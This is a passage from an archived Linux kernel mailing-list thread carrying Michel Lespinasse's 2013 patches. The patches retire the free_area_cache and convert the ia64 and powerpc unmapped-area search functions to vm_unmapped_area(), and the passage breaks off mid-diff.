Xref: news.gmane.org gmane.linux.kernel.mm:93863 gmane.linux.kernel:1428153 gmane.linux.ports.ppc64.devel:87333 gmane.linux.ports.parisc:4756 gmane.linux.ports.alpha:2008 gmane.linux.ports.ia64:22957
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93863>

Update the ia64 hugetlb_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/ia64/mm/hugetlbpage.c |   20 +++++++++-----------
 1 files changed, 9 insertions(+), 11 deletions(-)

diff --git a/arch/ia64/mm/hugetlbpage.c b/arch/ia64/mm/hugetlbpage.c
index 5ca674b74737..76069c18ee42 100644
--- a/arch/ia64/mm/hugetlbpage.c
+++ b/arch/ia64/mm/hugetlbpage.c
@@ -148,7 +148,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
 {
-	struct vm_area_struct *vmm;
+	struct vm_unmapped_area_info info;
 
 	if (len > RGN_MAP_LIMIT)
 		return -ENOMEM;
@@ -165,16 +165,14 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, u
 	/* This code assumes that RGN_HPAGE != 0. */
 	if ((REGION_NUMBER(addr) != RGN_HPAGE) || (addr & (HPAGE_SIZE - 1)))
 		addr = HPAGE_REGION_BASE;
-	else
-		addr = ALIGN(addr, HPAGE_SIZE);
-	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
-		/* At this point:  (!vmm || addr < vmm->vm_end). */
-		if (REGION_OFFSET(addr) + len > RGN_MAP_LIMIT)
-			return -ENOMEM;
-		if (!vmm || (addr + len) <= vmm->vm_start)
-			return addr;
-		addr = ALIGN(vmm->vm_end, HPAGE_SIZE);
-	}
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = HPAGE_REGION_BASE + RGN_MAP_LIMIT;
+	info.align_mask = PAGE_MASK & (HPAGE_SIZE - 1);
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 static int __init hugetlb_setup_sz(char *str)
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 6/8] mm: remove free_area_cache use in powerpc architecture
Date: Wed, 23 Jan 2013 17:29:49 -0800
Lines: 293
Approved: news@gmane.org
Message-ID: <1358990991-21316-7-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991020 876 80.91.229.3 (24 Jan 2013 01:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:20 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:35 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBeF-00067E-31
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:35 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id E1E6D6B0012; Wed, 23 Jan 2013 20:30:09 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id DBFE26B0022; Wed, 23 Jan 2013 20:30:09 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B30D06B0023; Wed, 23 Jan 2013 20:30:09 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx206.postini.com [74.125.245.206])
	by kanga.kvack.org (Postfix) with SMTP id BD3736B0012
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:08 -0500 (EST)
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]) (using TLSv1) by na3sys010amx206.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:08 GMT
Original-Received: by mail-pa0-f46.google.com with SMTP id kp14so3772437pab.33
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=BNhV+nEd+FXc6CGYZwfA6yKCMdsA08C6VGSAf+2eXTk=;
        b=Ezk7CLAixIpZmBGc9tbIYEgUgkW24mZNeKK+54L+hIci3MMRL3yS9USwh8m+ik9tkb
         C0hbqI31rZkoKful/YHRh8EHAUqVp8gpr1eDPE3cvvK26hmftWwzykHINCBJ8LZh5FVp
         koAVzVUaFncfn61pT+R8a+rHGtTp/ePacEmLoWTsS+fKJV760SoRAIOtXGzB7d6cLA8k
         48IkmzfmON/goyBZBTEWevMx4P6BC7me5BjfCF1Y1sUF6MqivsSkUmLKiib22jRkwrxD
         AgZIjkmzBO1ib4nvQF9whrz8/IXp7XXLgahU+3IkmjPqWY/YDmMS8FB1NzdMDGxuZbTY
         Oerg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=BNhV+nEd+FXc6CGYZwfA6yKCMdsA08C6VGSAf+2eXTk=;
        b=KQeA50Mcnhrtn02l/X/t1TJyEkFVU05fgsUgJXysWuhrlesUehUBZ92j1EZTgLIBM5
         EJMv6pxOFRPxgog8GluDpA0b+kx212e+4HHWABWUUkkamlU00Ql9gQDQneupHBnLgphx
         5p2zoy5N3j9g00sYram0NQDld4Nw6fLVm2faiubYjiMKWDrbcsDxaxF6mOk3He55f61s
         OSUlvy8r2BJ5ap+4KtvM14lMdALK4hV3vZLqAkMxImHTN4znyIpUmn8fYiaV9NxWc45V
         O527FksL1kzn8qDN9YrCAfWQaDbHOalnlYPLegxSQWXKRrBWPZQ/c16DlE3wBgYvD6Gc
         CNgw==
X-Received: by 10.68.190.227 with SMTP id gt3mr672165pbc.5.1358991007920;
        Wed, 23 Jan 2013 17:30:07 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.06
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:07 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQk5s7RAS8d1UIkkVWk7uWAJaCkOYS4xZaDKFE+HesL+cHIcYD4AJmBa7FeV68WN2FZu9Se2NJvfN9gAMCg1F0+vJDLikg8tKp588THN2y5FzB0octsMJ3r/RkcIjOWqC191M8zUD29b2ToxQA729DVBaW4zK4w8EOHY3DMzIu5EXnI3NsMAnoBMXzuIo+qoClF2JuDO
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:67.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93864 gmane.linux.kernel:1428154 gmane.linux.ports.ppc64.devel:87334 gmane.linux.ports.parisc:4757 gmane.linux.ports.alpha:2009 gmane.linux.ports.ia64:22958
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93864>

As all other architectures have been converted to use vm_unmapped_area(),
we are about to retire the free_area_cache.

This change simply removes the use of that cache in
slice_get_unmapped_area(), which will most certainly have a
performance cost. Next one will convert that function to use the
vm_unmapped_area() infrastructure and regain the performance.

Signed-off-by: Michel Lespinasse <walken@google.com>
Acked-by: Rik van Riel <riel@redhat.com>

---
 arch/powerpc/include/asm/page_64.h       |    3 +-
 arch/powerpc/mm/hugetlbpage.c            |    2 +-
 arch/powerpc/mm/slice.c                  |  108 +++++------------------------
 arch/powerpc/platforms/cell/spufs/file.c |    2 +-
 4 files changed, 22 insertions(+), 93 deletions(-)

diff --git a/arch/powerpc/include/asm/page_64.h b/arch/powerpc/include/asm/page_64.h
index cd915d6b093d..88693cef4f3d 100644
--- a/arch/powerpc/include/asm/page_64.h
+++ b/arch/powerpc/include/asm/page_64.h
@@ -99,8 +99,7 @@ extern unsigned long slice_get_unmapped_area(unsigned long addr,
 					     unsigned long len,
 					     unsigned long flags,
 					     unsigned int psize,
-					     int topdown,
-					     int use_cache);
+					     int topdown);
 
 extern unsigned int get_slice_psize(struct mm_struct *mm,
 				    unsigned long addr);
diff --git a/arch/powerpc/mm/hugetlbpage.c b/arch/powerpc/mm/hugetlbpage.c
index 1a6de0a7d8eb..5dc52d803ed8 100644
--- a/arch/powerpc/mm/hugetlbpage.c
+++ b/arch/powerpc/mm/hugetlbpage.c
@@ -742,7 +742,7 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	struct hstate *hstate = hstate_file(file);
 	int mmu_psize = shift_to_mmu_psize(huge_page_shift(hstate));
 
-	return slice_get_unmapped_area(addr, len, flags, mmu_psize, 1, 0);
+	return slice_get_unmapped_area(addr, len, flags, mmu_psize, 1);
 }
 #endif
 
diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index cf9dada734b6..999a74f25ebe 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -240,23 +240,15 @@ static void slice_convert(struct mm_struct *mm, struct slice_mask mask, int psiz
 static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 					      unsigned long len,
 					      struct slice_mask available,
-					      int psize, int use_cache)
+					      int psize)
 {
 	struct vm_area_struct *vma;
-	unsigned long start_addr, addr;
+	unsigned long addr;
 	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
 
-	if (use_cache) {
-		if (len <= mm->cached_hole_size) {
-			start_addr = addr = TASK_UNMAPPED_BASE;
-			mm->cached_hole_size = 0;
-		} else
-			start_addr = addr = mm->free_area_cache;
-	} else
-		start_addr = addr = TASK_UNMAPPED_BASE;
+	addr = TASK_UNMAPPED_BASE;
 
-full_search:
 	for (;;) {
 		addr = _ALIGN_UP(addr, 1ul << pshift);
 		if ((TASK_SIZE - len) < addr)
@@ -272,63 +264,24 @@ full_search:
 				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
 			continue;
 		}
-		if (!vma || addr + len <= vma->vm_start) {
-			/*
-			 * Remember the place where we stopped the search:
-			 */
-			if (use_cache)
-				mm->free_area_cache = addr + len;
+		if (!vma || addr + len <= vma->vm_start)
 			return addr;
-		}
-		if (use_cache && (addr + mm->cached_hole_size) < vma->vm_start)
-		        mm->cached_hole_size = vma->vm_start - addr;
 		addr = vma->vm_end;
 	}
 
-	/* Make sure we didn't miss any holes */
-	if (use_cache && start_addr != TASK_UNMAPPED_BASE) {
-		start_addr = addr = TASK_UNMAPPED_BASE;
-		mm->cached_hole_size = 0;
-		goto full_search;
-	}
 	return -ENOMEM;
 }
 
 static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 					     unsigned long len,
 					     struct slice_mask available,
-					     int psize, int use_cache)
+					     int psize)
 {
 	struct vm_area_struct *vma;
 	unsigned long addr;
 	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
 
-	/* check if free_area_cache is useful for us */
-	if (use_cache) {
-		if (len <= mm->cached_hole_size) {
-			mm->cached_hole_size = 0;
-			mm->free_area_cache = mm->mmap_base;
-		}
-
-		/* either no address requested or can't fit in requested
-		 * address hole
-		 */
-		addr = mm->free_area_cache;
-
-		/* make sure it can fit in the remaining address space */
-		if (addr > len) {
-			addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
-			mask = slice_range_to_mask(addr, len);
-			if (slice_check_fit(mask, available) &&
-			    slice_area_is_free(mm, addr, len))
-					/* remember the address as a hint for
-					 * next time
-					 */
-					return (mm->free_area_cache = addr);
-		}
-	}
-
 	addr = mm->mmap_base;
 	while (addr > len) {
 		/* Go down by chunk size */
@@ -352,16 +305,8 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 		 * return with success:
 		 */
 		vma = find_vma(mm, addr);
-		if (!vma || (addr + len) <= vma->vm_start) {
-			/* remember the address as a hint for next time */
-			if (use_cache)
-				mm->free_area_cache = addr;
+		if (!vma || (addr + len) <= vma->vm_start)
 			return addr;
-		}
-
-		/* remember the largest hole we saw so far */
-		if (use_cache && (addr + mm->cached_hole_size) < vma->vm_start)
-		        mm->cached_hole_size = vma->vm_start - addr;
 
 		/* try just below the current vma->vm_start */
 		addr = vma->vm_start;
@@ -373,28 +318,18 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 	 * can happen with large stack limits and large mmap()
 	 * allocations.
 	 */
-	addr = slice_find_area_bottomup(mm, len, available, psize, 0);
-
-	/*
-	 * Restore the topdown base:
-	 */
-	if (use_cache) {
-		mm->free_area_cache = mm->mmap_base;
-		mm->cached_hole_size = ~0UL;
-	}
-
-	return addr;
+	return slice_find_area_bottomup(mm, len, available, psize);
 }
 
 
 static unsigned long slice_find_area(struct mm_struct *mm, unsigned long len,
 				     struct slice_mask mask, int psize,
-				     int topdown, int use_cache)
+				     int topdown)
 {
 	if (topdown)
-		return slice_find_area_topdown(mm, len, mask, psize, use_cache);
+		return slice_find_area_topdown(mm, len, mask, psize);
 	else
-		return slice_find_area_bottomup(mm, len, mask, psize, use_cache);
+		return slice_find_area_bottomup(mm, len, mask, psize);
 }
 
 #define or_mask(dst, src)	do {			\
@@ -415,7 +350,7 @@ static unsigned long slice_find_area(struct mm_struct *mm, unsigned long len,
 
 unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 				      unsigned long flags, unsigned int psize,
-				      int topdown, int use_cache)
+				      int topdown)
 {
 	struct slice_mask mask = {0, 0};
 	struct slice_mask good_mask;
@@ -430,8 +365,8 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	BUG_ON(mm->task_size == 0);
 
 	slice_dbg("slice_get_unmapped_area(mm=%p, psize=%d...\n", mm, psize);
-	slice_dbg(" addr=%lx, len=%lx, flags=%lx, topdown=%d, use_cache=%d\n",
-		  addr, len, flags, topdown, use_cache);
+	slice_dbg(" addr=%lx, len=%lx, flags=%lx, topdown=%d\n",
+		  addr, len, flags, topdown);
 
 	if (len > mm->task_size)
 		return -ENOMEM;
@@ -503,8 +438,7 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 		/* Now let's see if we can find something in the existing
 		 * slices for that size
 		 */
-		newaddr = slice_find_area(mm, len, good_mask, psize, topdown,
-					  use_cache);
+		newaddr = slice_find_area(mm, len, good_mask, psize, topdown);
 		if (newaddr != -ENOMEM) {
 			/* Found within the good mask, we don't have to setup,
 			 * we thus return directly
@@ -536,8 +470,7 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	 * anywhere in the good area.
 	 */
 	if (addr) {
-		addr = slice_find_area(mm, len, good_mask, psize, topdown,
-				       use_cache);
+		addr = slice_find_area(mm, len, good_mask, psize, topdown);
 		if (addr != -ENOMEM) {
 			slice_dbg(" found area at 0x%lx\n", addr);
 			return addr;
@@ -547,15 +480,14 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	/* Now let's see if we can find something in the existing slices
 	 * for that size plus free slices
 	 */
-	addr = slice_find_area(mm, len, potential_mask, psize, topdown,
-			       use_cache);
+	addr = slice_find_area(mm, len, potential_mask, psize, topdown);
 
 #ifdef CONFIG_PPC_64K_PAGES
 	if (addr == -ENOMEM && psize == MMU_PAGE_64K) {
 		/* retry the search with 4k-page slices included */
 		or_mask(potential_mask, compat_mask);
 		addr = slice_find_area(mm, len, potential_mask, psize,
-				       topdown, use_cache);
+				       topdown);
 	}
 #endif
 
@@ -586,8 +518,7 @@ unsigned long arch_get_unmapped_area(struct file *filp,
 				     unsigned long flags)
 {
 	return slice_get_unmapped_area(addr, len, flags,
-				       current->mm->context.user_psize,
-				       0, 1);
+				       current->mm->context.user_psize, 0);
 }
 
 unsigned long arch_get_unmapped_area_topdown(struct file *filp,
@@ -597,8 +528,7 @@ unsigned long arch_get_unmapped_area_topdown(struct file *filp,
 					     const unsigned long flags)
 {
 	return slice_get_unmapped_area(addr0, len, flags,
-				       current->mm->context.user_psize,
-				       1, 1);
+				       current->mm->context.user_psize, 1);
 }
 
 unsigned int get_slice_psize(struct mm_struct *mm, unsigned long addr)
diff --git a/arch/powerpc/platforms/cell/spufs/file.c b/arch/powerpc/platforms/cell/spufs/file.c
index 0cfece4cf6ef..2eb4df2a9388 100644
--- a/arch/powerpc/platforms/cell/spufs/file.c
+++ b/arch/powerpc/platforms/cell/spufs/file.c
@@ -352,7 +352,7 @@ static unsigned long spufs_get_unmapped_area(struct file *file,
 
 	/* Else, try to obtain a 64K pages slice */
 	return slice_get_unmapped_area(addr, len, flags,
-				       MMU_PAGE_64K, 1, 0);
+				       MMU_PAGE_64K, 1);
 }
 #endif /* CONFIG_SPU_FS_64K_LS */
 
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Wed, 23 Jan 2013 17:29:50 -0800
Lines: 177
Approved: news@gmane.org
Message-ID: <1358990991-21316-8-git-send-email-walken@google.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1358991026 915 80.91.229.3 (24 Jan 2013 01:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 01:30:26 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 02:30:40 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyBeI-00068h-7P
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 02:30:38 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 492DF6B0022; Wed, 23 Jan 2013 20:30:13 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 37DF76B0025; Wed, 23 Jan 2013 20:30:12 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A685B6B0024; Wed, 23 Jan 2013 20:30:11 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx202.postini.com [74.125.245.202])
	by kanga.kvack.org (Postfix) with SMTP id 704DC6B0022
	for <linux-mm@kvack.org>; Wed, 23 Jan 2013 20:30:10 -0500 (EST)
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]) (using TLSv1) by na3sys010amx202.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 01:30:10 GMT
Original-Received: by mail-pa0-f45.google.com with SMTP id bg2so5165136pad.32
        for <linux-mm@kvack.org>; Wed, 23 Jan 2013 17:30:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=dWIUm/SyxXLUhYlZuQzTqqQF2lew0qh9lmcRnCVmde0=;
        b=gVuYUSS+e6/SwDx4UB60cdGsutiIApOHCAOBZWfAcgzQm5g6iDZpfOGkiVrvgMg0ZT
         +8FHplnKZ/1UKUbu0gqlV+iJABizwdzS5UNvkD6o6Ad5E9fC3hhHX7UDnt/hGiF8kOPi
         O4tJ497jmjFSqx5qDegEXWhsQfmBCe5LfXL0awjhRXIL0BFE4TRMVt+K6Pb6tuCD/6Ng
         5/umPBWpSHBvzjyu6AFmlqfg1UnwHmxBLqmvLgHdGJK0Ot7dudNq7Sia4NymK2yjfArP
         OMkafeU0A8sOdJ+xYDRr4BiSRPolA2fQe5NfPoIZQ1lv4f71saLLbVOPjS3UoAHKFD0x
         niSA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=dWIUm/SyxXLUhYlZuQzTqqQF2lew0qh9lmcRnCVmde0=;
        b=nnL+u1RvMU1gZdt6lsjlb1hVb1llyZfIywZhHMTqmOzQyMjvE5ur9ICELChhp5mujd
         UsNmXMnTGKpt8yrP9NrQVurmBZQQTzeJ70QHyxyB0b0g3yhiwi0/CJESXjeyFJGpgQeM
         YmyvUCwLE5qZcYb95A57cb9DoaDLesTsB4DC/XlszfO6F/U2y6EVftJBsqOaK1AZbRVB
         WOcMINGTj0ynpSdT5gDUKxQOo2/RuKVK3ksLEQpeSzH1fZOKj4ryp6Ap5CgqfOhw9L+K
         P8zOjrNgBE8zDhAaV8jx36HwJehkqjEoyalwVwTBZXURtsguKJxfvT0d5DuWjuSXsLBj
         bW9A==
X-Received: by 10.68.253.161 with SMTP id ab1mr494409pbd.97.1358991009623;
        Wed, 23 Jan 2013 17:30:09 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id kc4sm13786285pbc.23.2013.01.23.17.30.07
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 23 Jan 2013 17:30:08 -0800 (PST)
X-Mailer: git-send-email 1.8.1
In-Reply-To: <1358990991-21316-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQlwWgMsBO5t6FKxFZ9szheHb7w/F6naYa0rf8Z4d4O4TQwykbXXlPoduEENCLnjoZCLz8oleAJQY6Pm4Ug9XDDL1ngyPGdS8RRzHzy+/IABI8Yl7ZN6lfan3EHeKcpgzEf45udlzb9prScWs0RyGQU+osyCtjY7m6546xgPYSD86Ksu5hUerf3w2D3t1NRd1X60ftWj
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:88.02902/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93865 gmane.linux.kernel:1428155 gmane.linux.ports.ppc64.devel:87335 gmane.linux.ports.parisc:4758 gmane.linux.ports.alpha:2010 gmane.linux.ports.ia64:22959
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93865>

Update the powerpc slice_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/powerpc/mm/slice.c |  123 ++++++++++++++++++++++++++++++-----------------
 1 files changed, 78 insertions(+), 45 deletions(-)

diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index 999a74f25ebe..3e99c149271a 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -237,36 +237,69 @@ static void slice_convert(struct mm_struct *mm, struct slice_mask mask, int psiz
 #endif
 }
 
+/*
+ * Compute which slice addr is part of;
+ * set *boundary_addr to the start or end boundary of that slice
+ * (depending on 'end' parameter);
+ * return boolean indicating if the slice is marked as available in the
+ * 'available' slice_mark.
+ */
+static bool slice_scan_available(unsigned long addr,
+				 struct slice_mask available,
+				 int end,
+				 unsigned long *boundary_addr)
+{
+	unsigned long slice;
+	if (addr < SLICE_LOW_TOP) {
+		slice = GET_LOW_SLICE_INDEX(addr);
+		*boundary_addr = (slice + end) << SLICE_LOW_SHIFT;
+		return !!(available.low_slices & (1u << slice));
+	} else {
+		slice = GET_HIGH_SLICE_INDEX(addr);
+		*boundary_addr = (slice + end) ?
+			((slice + end) << SLICE_HIGH_SHIFT) : SLICE_LOW_TOP;
+		return !!(available.high_slices & (1u << slice));
+	}
+}
+
 static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 					      unsigned long len,
 					      struct slice_mask available,
 					      int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, next_end;
+	struct vm_unmapped_area_info info;
 
-	addr = TASK_UNMAPPED_BASE;
-
-	for (;;) {
-		addr = _ALIGN_UP(addr, 1ul << pshift);
-		if ((TASK_SIZE - len) < addr)
-			break;
-		vma = find_vma(mm, addr);
-		BUG_ON(vma && (addr >= vma->vm_end));
+	info.flags = 0;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_LOW_SHIFT);
-			else
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
+	addr = TASK_UNMAPPED_BASE;
+	while (addr < TASK_SIZE) {
+		info.low_limit = addr;
+		if (!slice_scan_available(addr, available, 1, &addr))
 			continue;
+
+ next_slice:
+		/*
+		 * At this point [info.low_limit; addr) covers
+		 * available slices only and ends at a slice boundary.
+		 * Check if we need to reduce the range, or if we can
+		 * extend it to cover the next available slice.
+		 */
+		if (addr >= TASK_SIZE)
+			addr = TASK_SIZE;
+		else if (slice_scan_available(addr, available, 1, &next_end)) {
+			addr = next_end;
+			goto next_slice;
 		}
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
+		info.high_limit = addr;
+
